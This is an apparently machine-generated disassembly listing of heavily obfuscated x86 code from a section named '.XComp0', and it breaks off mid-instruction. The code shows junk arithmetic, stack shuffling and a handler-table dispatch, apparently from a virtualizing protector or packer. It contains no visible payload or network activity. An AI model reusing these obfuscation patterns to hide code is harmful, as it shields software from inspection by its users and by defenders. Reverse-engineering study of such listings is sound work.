--------------------------------------------------------------------------- loc_57A404: ; CODE XREF: .XComp0:0058025Aj push ax xchg di, [esp] not di push di push small word ptr [esp+2] mov di, [esp] add esp, 2 pop small word ptr [esp] mov ax, [esp] push ecx jmp loc_57C2E2 ; --------------------------------------------------------------------------- loc_57A42C: ; CODE XREF: .XComp0:0057651Ej pop ecx add ebx, ebp add ebx, 6519727Bh mov ebp, [esp] add esp, 4 jmp loc_582A0D ; --------------------------------------------------------------------------- loc_57A443: ; CODE XREF: .XComp0:0057390Ej mov edi, 168C6F50h mov ebp, edi mov edi, [esp] add esp, 4 jmp loc_575686 ; --------------------------------------------------------------------------- loc_57A455: ; CODE XREF: .XComp0:0057DDF1j xor ebx, 5682A32Bh or ebp, ebx pop ebx xor ebp, 765F7DF9h add ebx, ebp pop ebp sub esp, 4 mov [esp], ecx jmp loc_578DD4 ; --------------------------------------------------------------------------- xor [esp], al xor al, [esp] xor [esp], al jmp loc_580D7F ; --------------------------------------------------------------------------- loc_57A480: ; CODE XREF: .XComp0:00582A81j mov edi, 7C631393h jmp loc_5792AA ; --------------------------------------------------------------------------- loc_57A48A: ; CODE XREF: .XComp0:0057C8CBj push esi mov esi, esp jmp loc_577EE2 ; --------------------------------------------------------------------------- loc_57A492: ; CODE XREF: .XComp0:00575B35j xchg esi, [esp] pop esp loc_57A496: ; CODE XREF: .XComp0:00578143j push 2349h mov [esp], ebx jmp loc_578386 ; --------------------------------------------------------------------------- loc_57A4A3: ; CODE XREF: .XComp0:00575F20j xchg eax, [esp] jmp loc_573F38 ; --------------------------------------------------------------------------- loc_57A4AB: ; CODE XREF: .XComp0:0057D028j push ebx mov ebx, 5B240198h jmp loc_57744E ; --------------------------------------------------------------------------- loc_57A4B6: ; CODE XREF: .XComp0:00573DE5j push ecx push edx mov dl, al mov cl, dl pop edx push 4EE8h mov [esp], eax mov al, cl push ebx mov bh, al sub esp, 4 jmp loc_579130 ; --------------------------------------------------------------------------- loc_57A4D5: ; CODE XREF: .XComp0:0057DD73j push edx mov edx, 20FC074Fh add ecx, edx pop edx and ecx, 43D556E4h shl ecx, 8 add ecx, 0A5243735h jmp loc_57CD42 ; --------------------------------------------------------------------------- loc_57A4F2: ; CODE XREF: .XComp0:0057B30Ej mov [esp], ax jmp loc_573541 ; --------------------------------------------------------------------------- loc_57A4FB: ; CODE XREF: .XComp0:0057BDB4j push edi push eax mov eax, 23E1AD3h jmp loc_5809AB ; --------------------------------------------------------------------------- loc_57A507: ; CODE XREF: .XComp0:005792F0j sub edx, 26031126h jmp loc_576DB7 ; --------------------------------------------------------------------------- loc_57A512: ; CODE XREF: .XComp0:00581B7Dj pop esi add esi, 4 push edi jmp loc_57F510 ; --------------------------------------------------------------------------- loc_57A51F: ; CODE XREF: .XComp0:00575DD3j neg esi shr esi, 5 sub esi, 0BF2A5153h add edi, esi pop esi add ecx, edi jmp loc_57BD58 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_576577 ; --------------------------------------------------------------------------- loc_57A53C: ; CODE XREF: .XComp0:0057D2EEj push ebx pop edi sub esp, 4 mov [esp], edi push ebp push edi push ecx jmp loc_5759C0 ; --------------------------------------------------------------------------- loc_57A54F: ; CODE XREF: .XComp0:00573E56j xchg edi, [esp] pop esp push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_57C541 ; --------------------------------------------------------------------------- loc_57A564: ; CODE XREF: .XComp0:0057D23Dj push esi mov esi, 712B7228h sub eax, esi pop esi mov edi, [esp] push edi jmp loc_573BDC ; --------------------------------------------------------------------------- loc_57A576: ; CODE XREF: .XComp0:0057AA4Aj mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_579C73 ; --------------------------------------------------------------------------- loc_57A58D: ; CODE XREF: .XComp0:0057D635j add eax, ebx pop ebx xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_57C302 ; --------------------------------------------------------------------------- loc_57A59E: ; CODE XREF: .XComp0:005768CFj add ecx, 16236DEh add ecx, esi sub ecx, 16236DEh pop esi jmp loc_57BCB3 ; --------------------------------------------------------------------------- lodsb xor al, bl jmp loc_57B969 ; --------------------------------------------------------------------------- loc_57A5BA: ; CODE XREF: .XComp0:0057C7DAj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_57791B ; --------------------------------------------------------------------------- loc_57A5D0: ; CODE XREF: .XComp0:00577B64j shl eax, 6 add eax, 46E932F2h shr eax, 4 add eax, 34B69DFEh xor ecx, eax pop eax push 3833h mov [esp], ebp mov ebp, 3743017Dh sub ecx, 9F0178Dh sub ecx, ebp add ecx, 9F0178Dh pop ebp xor ebp, ecx pop ecx mov edx, ebp pop ebp loc_57A605: ; CODE XREF: .XComp0:005754E1j ; .XComp0:005801C5j push dword ptr [edi+24h] jmp loc_57FE38 ; --------------------------------------------------------------------------- loc_57A60D: ; CODE XREF: .XComp0:005753E2j mov dl, 6Dh xor ch, dl jmp loc_57789A ; --------------------------------------------------------------------------- loc_57A616: ; CODE XREF: .XComp0:00579716j push ebx push ebp jmp loc_578D82 ; --------------------------------------------------------------------------- loc_57A61D: ; CODE XREF: .XComp0:00576187j sub ecx, 10483FFCh sub esi, ecx mov ecx, [esp] jmp loc_57E369 ; --------------------------------------------------------------------------- loc_57A62D: ; CODE XREF: .XComp0:00580A9Cj push dword ptr [esp] pop eax push ebp push esp mov ebp, [esp] jmp loc_57D640 ; --------------------------------------------------------------------------- loc_57A63B: ; CODE XREF: .XComp0:0057B1A6j push dx push ecx mov cl, 0FDh push ebx mov bl, cl jmp loc_57B61D ; --------------------------------------------------------------------------- loc_57A648: ; CODE XREF: .XComp0:005833DEj neg ecx push ebp mov ebp, 7ACB5558h sub ecx, ebp pop ebp add edi, 3FC40C27h sub edi, 1BA1973h jmp loc_5788D3 ; --------------------------------------------------------------------------- loc_57A664: ; CODE XREF: .XComp0:0057E20Bj add esp, 4 jmp loc_57C470 ; --------------------------------------------------------------------------- loc_57A66F: ; CODE XREF: .XComp0:005799F2j mov eax, 6220358Fh jmp loc_57F238 ; --------------------------------------------------------------------------- loc_57A679: ; CODE XREF: .XComp0:0057F565j mov [esp], ebp jmp loc_57D4E5 ; --------------------------------------------------------------------------- loc_57A681: ; CODE XREF: .XComp0:0057E87Fj or edi, edx pop edx sub esp, 4 jmp loc_57D46E ; --------------------------------------------------------------------------- loc_57A68C: ; CODE XREF: .XComp0:00580D2Ej sub eax, 14D75C5Bh add eax, esi add eax, 14D75C5Bh pop esi push ecx mov ecx, 0CE14A1h add edx, ecx pop ecx add edx, eax sub esp, 4 mov [esp], eax push 0CE14A1h jmp loc_57BDE2 ; --------------------------------------------------------------------------- loc_57A6B4: ; CODE XREF: .XComp0:0057F669j mov ecx, [esp] jmp loc_57FA7C ; --------------------------------------------------------------------------- loc_57A6BC: ; CODE XREF: .XComp0:00581A3Bj add ebp, ebx jmp loc_5777A2 ; --------------------------------------------------------------------------- loc_57A6C3: ; CODE XREF: .XComp0:0057BD53j xor esi, 4ACE6EA0h mov ebx, esi pop esi push esi jmp loc_57F0E5 ; --------------------------------------------------------------------------- loc_57A6D2: ; CODE XREF: .XComp0:0057E8ACj push ecx mov ecx, esp jmp loc_58243F ; --------------------------------------------------------------------------- loc_57A6DA: ; CODE XREF: .XComp0:0057F94Fj or dl, al jmp loc_577BBE ; --------------------------------------------------------------------------- loc_57A6E1: ; CODE XREF: .XComp0:005786CDj pop ebx push edi mov edi, 5F8507E7h dec edi not edi push eax mov eax, 13E0432h or eax, 4E926339h jmp loc_57FC67 ; --------------------------------------------------------------------------- loc_57A6FB: ; CODE XREF: .XComp0:00575C86j add ecx, ebp mov ebp, [esp] add esp, 4 push edi mov edi, 4F672079h shl edi, 2 and edi, 57E9217Bh shr edi, 6 dec edi jmp loc_578D70 ; --------------------------------------------------------------------------- loc_57A71B: ; CODE XREF: .XComp0:0057D5F9j push ebp jmp loc_57B2E7 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_582DA1 ; --------------------------------------------------------------------------- loc_57A73E: ; CODE XREF: .XComp0:00579D4Ej mov [esp], esi mov esi, 4 add ebp, esi pop esi add ebp, 4 xchg ebp, [esp] jmp loc_577DE1 ; --------------------------------------------------------------------------- loc_57A754: ; CODE XREF: .XComp0:0057B98Fj sub eax, 0A0D69635h jmp loc_57B8AB ; --------------------------------------------------------------------------- loc_57A75E: ; CODE XREF: .XComp0:00576524j push edx mov dl, 36h neg dl xor dl, 6Ah shr dl, 6 neg dl jmp loc_575AB0 ; --------------------------------------------------------------------------- loc_57A770: ; CODE XREF: .XComp0:0058011Cj push ebp mov ebp, 79697D1Ah mov edi, ebp pop ebp jmp loc_57471A ; --------------------------------------------------------------------------- loc_57A77E: ; CODE XREF: .XComp0:00579E15j mov edx, [esp] add esp, 4 push 4CF2h mov [esp], ebp mov ebp, 4 add edx, ebp pop ebp add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] or edx, eax shl edx, 1 push 7ACEh mov [esp], eax push ebx jmp loc_582B5D ; --------------------------------------------------------------------------- loc_57A7BB: ; CODE XREF: .XComp0:00576296j push edx mov edx, 11415AC7h sub esi, edx pop edx add esi, 50B708Dh jmp loc_57A28C ; --------------------------------------------------------------------------- loc_57A7CF: ; CODE XREF: .XComp0:0057C074j mov [esp], edi push ebx jmp loc_57B87C ; --------------------------------------------------------------------------- loc_57A7D8: ; CODE XREF: .XComp0:0057EABFj mov [esp], eax mov ah, 68h not ah jmp loc_57FF42 ; --------------------------------------------------------------------------- loc_57A7E4: ; CODE XREF: .XComp0:0057C594j or edx, 56DD56C2h add edx, 729F0C82h xor edx, 6A7F0453h jmp loc_57FC3A ; --------------------------------------------------------------------------- loc_57A7FB: ; CODE XREF: .XComp0:00578489j mov edi, [esp] jmp loc_579058 ; --------------------------------------------------------------------------- loc_57A803: ; CODE XREF: .XComp0:00577A9Ej mov ebx, 37010B7Fh push edx mov edx, 3D83984h mov dword ptr [edi+20h], 34D932FAh jmp loc_57AD17 ; --------------------------------------------------------------------------- loc_57A81A: ; CODE XREF: .XComp0:00576EBAj push ebx push esp pop ebx add ebx, 4 jmp loc_578DBC ; --------------------------------------------------------------------------- loc_57A828: ; CODE XREF: .XComp0:00580415j mov cl, al mov eax, [esp] push esi jmp loc_578DFC ; --------------------------------------------------------------------------- loc_57A833: ; CODE XREF: .XComp0:0057571Dj ; .XComp0:0057E0C2j push ebx push ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 7709219Ah shl ebp, 5 inc ebp and ebp, 69A359FBh sub ebp, 4C631096h not ebp sub ebp, 0EB42FF50h sub ebx, ebp pop ebp xchg ebx, [esp] pop esp jmp loc_579B37 ; --------------------------------------------------------------------------- loc_57A867: ; CODE XREF: .XComp0:00579CFCj pop esi mov ebx, 403D125Eh not ebx shr ebx, 2 jmp loc_57F56F ; --------------------------------------------------------------------------- loc_57A877: ; CODE XREF: .XComp0:00574331j push dword ptr [edi+1Ch] push dword ptr [esp] mov eax, [esp] add esp, 4 push 4877h mov [esp], ebp mov ebp, esp jmp loc_57BC78 ; --------------------------------------------------------------------------- loc_57A895: ; CODE XREF: .XComp0:0058291Ej pop eax pop edx mov ecx, [esp] push ecx mov ecx, esp sub esp, 4 mov [esp], eax push 4 jmp loc_573EE4 ; --------------------------------------------------------------------------- loc_57A8AD: ; CODE XREF: .XComp0:00582A64j push esp pop esi push ebp push esp pop ebp add ebp, 4 sub ebp, 4 jmp loc_577700 ; --------------------------------------------------------------------------- loc_57A8C0: ; CODE XREF: .XComp0:00582929j add al, ch jmp loc_573CDA ; --------------------------------------------------------------------------- loc_57A8C7: ; CODE XREF: .XComp0:00574DC0j mov eax, 7A350C68h not eax add eax, 1 add eax, 1BAA0256h add eax, 2D8B3BFFh sub edx, eax pop eax xor edi, edx jmp loc_57FA34 ; --------------------------------------------------------------------------- loc_57A8E7: ; CODE XREF: .XComp0:00582140j mov edi, [esp] add esp, 4 add edi, 4 sub edi, 4 push edi push dword ptr [esp+4] jmp loc_57E24D ; --------------------------------------------------------------------------- loc_57A903: ; CODE XREF: .XComp0:00576F77j add esp, 4 xchg esi, [esp] mov esp, [esp] mov ax, [esp] push 65D6h mov [esp], eax sub esp, 4 jmp loc_5820C4 ; --------------------------------------------------------------------------- loc_57A926: ; CODE XREF: .XComp0:0057897Ej add esp, 4 add ecx, edx sub ecx, 2B4D0F54h pop edx jmp loc_57854E ; --------------------------------------------------------------------------- loc_57A937: ; CODE XREF: .XComp0:00582556j push eax mov eax, 2 add ebp, eax pop eax push edx mov edx, esp push ebp mov ebp, 4 jmp loc_580B33 ; --------------------------------------------------------------------------- loc_57A94E: ; CODE XREF: .XComp0:00582BAFj mov [esp], edx jmp loc_57512E ; --------------------------------------------------------------------------- loc_57A956: ; CODE XREF: .XComp0:00576F83j mov ecx, 555434h push edx mov edx, 35920FD8h or ecx, edx mov edx, [esp] add esp, 4 add ecx, 0FFFFFFFFh jmp loc_57D8E8 ; --------------------------------------------------------------------------- loc_57A974: ; CODE XREF: .XComp0:00573DF3j pop edi jmp loc_575D97 ; --------------------------------------------------------------------------- loc_57A97A: ; CODE XREF: .XComp0:00580384j shr ch, 1 inc ch inc ch xor ch, 7Ch mov dl, ch pop ecx mov bh, 95h sub bh, dl pop edx push ax mov ah, 0B9h xor bh, ah pop ax not bh sub bh, 93h sub bh, 4Ch shl bh, 6 push edx mov dl, 0C0h xor bh, dl pop edx sub al, bh mov ebx, [esp] add esp, 4 push small 15BFh mov [esp], cx push 2542h jmp loc_5823E0 ; --------------------------------------------------------------------------- loc_57A9BE: ; CODE XREF: .XComp0:0057C76Dj push edi mov edi, 72C36DB4h shl edi, 5 jmp loc_578959 ; --------------------------------------------------------------------------- loc_57A9CC: ; CODE XREF: .XComp0:005831C9j push ecx mov ecx, 8059938Eh sub esi, ecx jmp loc_573898 ; --------------------------------------------------------------------------- loc_57A9D9: ; CODE XREF: .XComp0:00578A34j pop ecx add esi, 0FFFFFFFFh sub esi, 76FF3F7Ah sub esp, 4 mov [esp], esi mov esi, 37E46E25h sub ecx, esi jmp loc_573547 ; --------------------------------------------------------------------------- loc_57A9F5: ; CODE XREF: .XComp0:00579873j xor eax, 0DC50894Dh mov ebp, eax pop eax shl ebp, 5 add ebp, 64EF422Ah add ebp, 7106D53Ah add ecx, ebp pop ebp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] push ebp jmp loc_57EF34 ; --------------------------------------------------------------------------- loc_57AA21: ; CODE XREF: .XComp0:005826FDj add ebp, eax sub ebp, 2754C74h mov eax, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [edi+eax*4] push ebx mov ebx, 4D0C35EBh add [esp+4], ebx pop ebx jmp loc_57A576 ; --------------------------------------------------------------------------- loc_57AA4F: ; CODE XREF: .XComp0:00577158j push edx push ebx jmp loc_5760F0 ; --------------------------------------------------------------------------- loc_57AA56: ; CODE XREF: .XComp0:00581267j add ecx, 110916E9h add ecx, 0D775DABh add ecx, 1E815846h sub esp, 4 mov [esp], edx jmp loc_579551 ; --------------------------------------------------------------------------- loc_57AA73: ; CODE XREF: .XComp0:00576C54j mov ebp, 77B1256Fh shr ebp, 5 sub ebp, 0D2610E61h add eax, ebp pop ebp pop edx push esi mov esi, 22B57481h add eax, esi pop esi jmp loc_5794C3 ; --------------------------------------------------------------------------- loc_57AA93: ; CODE XREF: .XComp0:00582D69j push dx mov dl, 0EEh inc dl not dl jmp loc_576BFB ; --------------------------------------------------------------------------- loc_57AAA0: ; CODE XREF: .XComp0:0057B28Aj sub eax, esi pop esi add eax, edi add eax, 335D3E2Bh mov edi, [esp] add esp, 4 xchg eax, [esp] mov esp, [esp] movzx eax, al push dword ptr [edi+eax*4] jmp loc_57C039 ; --------------------------------------------------------------------------- loc_57AAC1: ; CODE XREF: .XComp0:00582248j push esp jmp loc_580665 ; --------------------------------------------------------------------------- loc_57AAC7: ; CODE XREF: .XComp0:00575E79j dec ebx shl ebx, 1 xor ebx, 2407741Eh jmp loc_57EF04 ; --------------------------------------------------------------------------- loc_57AAD5: ; CODE XREF: .XComp0:00580ED4j not edx and edx, 35F95504h jmp loc_57BF2B ; --------------------------------------------------------------------------- loc_57AAE2: ; CODE XREF: .XComp0:0057E76Dj push 51AAh mov [esp], ebx push edx mov dl, 0ECh mov bh, dl jmp loc_575E42 ; --------------------------------------------------------------------------- loc_57AAF4: ; CODE XREF: .XComp0:0057E5BCj sub ebx, 53BA21DDh jmp loc_57CEC7 ; --------------------------------------------------------------------------- loc_57AAFF: ; CODE XREF: .XComp0:0057F9BCj and dl, al pop eax jmp loc_57D48D ; --------------------------------------------------------------------------- loc_57AB07: ; CODE XREF: .XComp0:005765E4j pop esi jmp loc_58222D ; --------------------------------------------------------------------------- loc_57AB0D: ; CODE XREF: .XComp0:0057ED6Aj mov [esp], cx mov cx, 46A5h jmp loc_5763D1 ; --------------------------------------------------------------------------- loc_57AB1A: ; CODE XREF: .XComp0:0057E708j not bl and bl, 0F7h dec bl sub bl, 0C8h jmp loc_581FFC ; --------------------------------------------------------------------------- loc_57AB29: ; CODE XREF: .XComp0:00574EC8j push 4 pop edi add eax, edi pop edi xor eax, [esp] xor [esp], eax jmp loc_57A22E ; --------------------------------------------------------------------------- loc_57AB3D: ; CODE XREF: .XComp0:00583547j jmp loc_573541 ; --------------------------------------------------------------------------- loc_57AB42: ; CODE XREF: .XComp0:0057536Cj mov ecx, ebp pop ebp sub esi, 7C3E4415h add esi, ecx add esi, 7C3E4415h pop ecx push ecx mov ecx, 4 add esi, ecx mov ecx, [esp] add esp, 4 xchg esi, [esp] jmp loc_57F4E0 ; --------------------------------------------------------------------------- loc_57AB6A: ; CODE XREF: .XComp0:00581A85j mov [esp], esp push ebp mov ebp, 4 add dword ptr [esp+4], 28A03931h add [esp+4], ebp sub dword ptr [esp+4], 28A03931h pop ebp jmp loc_57528C ; --------------------------------------------------------------------------- loc_57AB8D: ; CODE XREF: .XComp0:0057DB26j add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_5739EA ; --------------------------------------------------------------------------- loc_57ABA1: ; CODE XREF: .XComp0:00577CFAj push esi mov esi, 43521966h xor esi, 26B8B147h add ebx, esi jmp loc_573DEA ; --------------------------------------------------------------------------- loc_57ABB4: ; CODE XREF: .XComp0:00580484j sub edi, 0F2F26181h push edi sub dword ptr [esp], 71FE39D2h mov edx, [esp] add esp, 4 jmp loc_5795DB ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp], cl pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57ABE0: ; CODE XREF: .XComp0:00575DC4j mov [esp], esi mov esi, 4BD823ADh neg esi jmp loc_5748FD ; --------------------------------------------------------------------------- loc_57ABEF: ; CODE XREF: .XComp0:00573A6Cj mov [esp], ecx jmp loc_57BA55 ; --------------------------------------------------------------------------- loc_57ABF7: ; CODE XREF: .XComp0:00574A38j shl ebx, 3 sub esp, 4 mov [esp], esi jmp loc_574753 ; --------------------------------------------------------------------------- loc_57AC08: ; CODE XREF: .XComp0:005820D2j pop edi pop eax jmp loc_573C84 ; --------------------------------------------------------------------------- mov cx, [esp] push 6383h mov [esp], edx push esp push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 push ecx push ebx mov ebx, 3B856A81h xor ebx, 26845894h jmp loc_5792B9 ; --------------------------------------------------------------------------- loc_57AC3D: ; CODE XREF: .XComp0:00579229j push dword ptr [esp] mov ebx, [esp] push ebp mov ebp, esp push 342Dh mov [esp], eax push 4 mov eax, [esp] add esp, 4 add ebp, 3C316045h add ebp, 9196ECDh jmp loc_573859 ; --------------------------------------------------------------------------- loc_57AC6D: ; CODE XREF: .XComp0:0057DF29j push ebx not dword ptr [esp] mov ebx, [esp] jmp loc_583415 ; --------------------------------------------------------------------------- loc_57AC79: ; CODE XREF: .XComp0:00575893j mov ebp, ecx pop ecx push esi mov esi, 33D351CCh xor esi, 13CE2AA6h sub ebp, esi pop esi sub ebp, ebx push eax mov eax, 2C650029h xor eax, 22163B8Ah jmp loc_57E8D4 ; --------------------------------------------------------------------------- loc_57AC9D: ; CODE XREF: .XComp0:0057D624j push 1D46h mov [esp], esi sub esp, 4 mov [esp], ebx mov ebx, 427E3370h push edi jmp loc_5738B5 ; --------------------------------------------------------------------------- loc_57ACB9: ; CODE XREF: .XComp0:0057BA8Aj mov ebx, 4 add edi, ebx pop ebx jmp loc_57C4CD ; --------------------------------------------------------------------------- loc_57ACC6: ; CODE XREF: .XComp0:005761D2j pop ebx jmp loc_582886 ; --------------------------------------------------------------------------- loc_57ACCC: ; CODE XREF: .XComp0:00575B0Bj add edi, 27B0A5Dh jmp loc_582579 ; --------------------------------------------------------------------------- loc_57ACD7: ; CODE XREF: .XComp0:00576473j add ebp, esi pop esi add edx, ebp pop ebp and eax, edx pop edx or eax, eax jz loc_5751E4 push dword ptr [edi+1Ch] push esi jmp loc_578A54 ; --------------------------------------------------------------------------- loc_57ACF1: ; CODE XREF: .XComp0:0057B144j pop ecx mov ebx, 65633BBFh xor ebx, ecx jmp loc_5769B2 ; --------------------------------------------------------------------------- loc_57ACFE: ; CODE XREF: .XComp0:0057EFEDj xor ecx, edx pop edx jmp loc_57C3FA ; --------------------------------------------------------------------------- loc_57AD06: ; CODE XREF: .XComp0:0057ED3Aj push eax mov eax, 193A76DCh add ecx, eax pop eax mov edx, [esp] jmp loc_582AA8 ; --------------------------------------------------------------------------- loc_57AD17: ; CODE XREF: .XComp0:0057A815j xor [edi+20h], edx pop edx jmp loc_57DE5E ; --------------------------------------------------------------------------- loc_57AD20: ; CODE XREF: .XComp0:0057DA2Dj push edx mov edx, 4 add eax, edx pop edx push eax push dword ptr [esp+4] jmp loc_57A04E ; --------------------------------------------------------------------------- loc_57AD33: ; CODE XREF: .XComp0:005787EDj pop dword ptr [esp] jmp loc_57F205 ; --------------------------------------------------------------------------- loc_57AD3B: ; CODE XREF: .XComp0:0057D5B2j mov ecx, esp push esi mov esi, 1D7C0250h shl esi, 7 add esi, 41FED804h add ecx, esi pop esi jmp loc_576371 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_57AD54: ; CODE XREF: sub_5A47B5-2422Bj movzx eax, al jmp dword ptr [edi+eax*4] ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- mov ax, [esp] push ecx jmp loc_582611 ; --------------------------------------------------------------------------- loc_57AD66: ; CODE XREF: .XComp0:005761F8j mov [esp], edi push 52ACh mov [esp], edx mov edx, 11D22317h shr edx, 7 xchg eax, edx not eax jmp loc_58175D ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] push ecx mov ecx, esp push esi mov esi, 4 add ecx, esi pop esi add ecx, 4 xchg ecx, [esp] mov esp, [esp] push 3059h mov [esp], esi mov esi, esp push ecx mov ecx, 63FE64AEh sub ecx, 3CB8673Dh and ecx, 3FE67111h add ecx, 0D8BB8EF3h jmp loc_57613E ; --------------------------------------------------------------------------- loc_57ADC3: ; CODE XREF: .XComp0:00574828j sub ch, al jmp loc_5753E0 ; --------------------------------------------------------------------------- loc_57ADCA: ; CODE XREF: .XComp0:0057C888j sub ecx, ebx jmp loc_57F8AF ; --------------------------------------------------------------------------- lodsd jmp loc_57A1E2 ; --------------------------------------------------------------------------- loc_57ADD7: ; CODE XREF: .XComp0:00578766j sub eax, 68843714h jmp loc_5835A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_57ADE1: ; CODE XREF: sub_5A47B5-24270j mov dh, 0B9h dec dh and dh, 0F6h sub dh, 0Eh jmp loc_57D591 ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_57ADF0: ; CODE XREF: .XComp0:00573CFFj add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_5742E8 ; --------------------------------------------------------------------------- loc_57AE07: ; CODE XREF: .XComp0:005776CDj push edi jmp loc_5773F4 ; --------------------------------------------------------------------------- loc_57AE0D: ; CODE XREF: .XComp0:0057BF3Aj mov ecx, 349F2233h jmp loc_57445D ; --------------------------------------------------------------------------- lodsd jmp loc_581E71 ; --------------------------------------------------------------------------- loc_57AE1D: ; CODE XREF: .XComp0:005787A2j mov [esp], ecx mov ecx, 38h jmp loc_57FCAF ; --------------------------------------------------------------------------- loc_57AE2A: ; CODE XREF: .XComp0:00583068j add al, ch mov ecx, [esp] sub esp, 4 mov [esp], ebx jmp loc_57F8EC ; --------------------------------------------------------------------------- loc_57AE3D: ; CODE XREF: .XComp0:00577521j xchg edi, edx push ebx jmp loc_582965 ; --------------------------------------------------------------------------- loc_57AE45: ; CODE XREF: .XComp0:00574815j mov ebx, [esp] add esp, 4 jmp loc_577F50 ; --------------------------------------------------------------------------- loc_57AE50: ; CODE XREF: .XComp0:0057676Aj xor edi, 0C6209986h jmp loc_577ECC ; --------------------------------------------------------------------------- loc_57AE5B: ; CODE XREF: .XComp0:00576E89j mov [esp], ecx jmp loc_5823E8 ; --------------------------------------------------------------------------- loc_57AE63: ; CODE XREF: .XComp0:005742A0j push edi jmp loc_576C59 ; --------------------------------------------------------------------------- loc_57AE69: ; CODE XREF: .XComp0:00577AB1j pop eax add edi, 9B5C08h sub edx, edi jmp loc_58002F ; --------------------------------------------------------------------------- loc_57AE77: ; CODE XREF: .XComp0:0057CFD2j push 1825h mov [esp], esp jmp loc_578931 ; --------------------------------------------------------------------------- loc_57AE84: ; CODE XREF: .XComp0:0057488Ej push esp pop ebx push esi mov esi, 3BAF18B4h not esi jmp loc_578BBD ; --------------------------------------------------------------------------- loc_57AE93: ; CODE XREF: .XComp0:005831FDj mov [esp], edi push edx mov edx, 78A05E5Ah mov edi, 737862A9h xor edi, edx pop edx jmp loc_573623 ; --------------------------------------------------------------------------- loc_57AEA9: ; CODE XREF: .XComp0:00579B7Fj mov edx, [esp] add esp, 4 sub ebx, 6B5821E1h add ebx, ebp add ebx, 6B5821E1h sub ebx, 703736F6h mov ebp, [esp] add esp, 4 push ebx mov ebx, 6625770Ah sub edx, 1FE038D6h add edx, ebx add edx, 1FE038D6h pop ebx sub edx, eax push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi mov esi, 44271819h push eax mov eax, 52EE175Bh xor eax, 118B13E9h add esi, 5CB287Ah add esi, 5A5D05B6h add esi, eax push 4494h mov [esp], edx mov edx, 5A5D05B6h sub esi, edx pop edx sub esi, 5CB287Ah jmp loc_57428C ; --------------------------------------------------------------------------- loc_57AF2C: ; CODE XREF: .XComp0:0057C6D0j pop ebp jmp loc_574AA3 ; --------------------------------------------------------------------------- loc_57AF32: ; CODE XREF: .XComp0:00581AA4j xchg ecx, [esp] jmp loc_57BAF5 ; --------------------------------------------------------------------------- loc_57AF3A: ; CODE XREF: .XComp0:00580E1Ej sub al, 0C5h add al, dl add al, 0C5h mov edx, [esp] add esp, 4 add al, 3Fh push edx push 7FD3h mov [esp], ecx mov cl, 2Ch shr cl, 5 push edx mov dh, 57h or cl, dh pop edx inc cl shr cl, 7 jmp loc_57887D ; --------------------------------------------------------------------------- loc_57AF66: ; CODE XREF: .XComp0:0057C615j mov edi, 11620D31h xor edi, 350A63E5h mov edx, edi pop edi shl edx, 5 and edx, 6D02E98h and edx, 1ADE4E07h or edx, 4E831214h dec edx jmp loc_583352 ; --------------------------------------------------------------------------- loc_57AF8F: ; CODE XREF: .XComp0:0058051Cj push 4F08h mov [esp], edx mov edx, 28FA6566h or esi, edx push dword ptr [esp] pop edx jmp loc_58181A ; --------------------------------------------------------------------------- loc_57AFA7: ; CODE XREF: .XComp0:0057DC1Cj mov ebp, esp jmp loc_580C14 ; --------------------------------------------------------------------------- loc_57AFAE: ; CODE XREF: .XComp0:005748E4j dec eax push ebp push ecx mov ecx, 38F109E3h jmp loc_576124 ; --------------------------------------------------------------------------- loc_57AFBB: ; CODE XREF: .XComp0:0057FF0Ej pop esp push eax mov eax, esp push edi push edx mov edx, 43843A37h neg edx jmp loc_583184 ; --------------------------------------------------------------------------- loc_57AFCD: ; CODE XREF: .XComp0:005777FFj sub esp, 4 mov [esp], esi push ebx push 341263D0h pop ebx jmp loc_578814 ; --------------------------------------------------------------------------- loc_57AFE2: ; CODE XREF: .XComp0:00577EC2j add eax, edi jmp loc_5748E9 ; --------------------------------------------------------------------------- loc_57AFE9: ; CODE XREF: .XComp0:0057BB0Bj pop edi add edx, esi add edx, 77CA245Ah add edx, 284D083Bh jmp loc_57D80E ; --------------------------------------------------------------------------- loc_57AFFD: ; CODE XREF: .XComp0:00580929j and eax, 5B6D0C36h not eax shr eax, 8 add eax, 0FF032D11h add esi, eax pop eax push 2723h mov [esp], ebx jmp loc_579F67 ; --------------------------------------------------------------------------- loc_57B01C: ; CODE XREF: .XComp0:00576986j push ecx mov ecx, 617265D8h add edi, ecx pop ecx add edi, 1 jmp loc_57BFF5 ; --------------------------------------------------------------------------- loc_57B030: ; CODE XREF: .XComp0:0057E18Aj mov [esp], ebx mov ebx, 4 push edx mov edx, 2BFC72D3h add edx, 41D1A8CBh add ecx, edx mov edx, [esp] add esp, 4 add ecx, ebx push ebx mov ebx, 20004184h jmp loc_5778EE ; --------------------------------------------------------------------------- loc_57B05C: ; CODE XREF: .XComp0:005772D3j mov edi, ebx pop ebx xor edi, 786626ACh push edx push esi mov esi, 51F40FC0h not esi jmp loc_5746A3 ; --------------------------------------------------------------------------- loc_57B073: ; CODE XREF: .XComp0:0057E2F7j xor [esp], eax xor 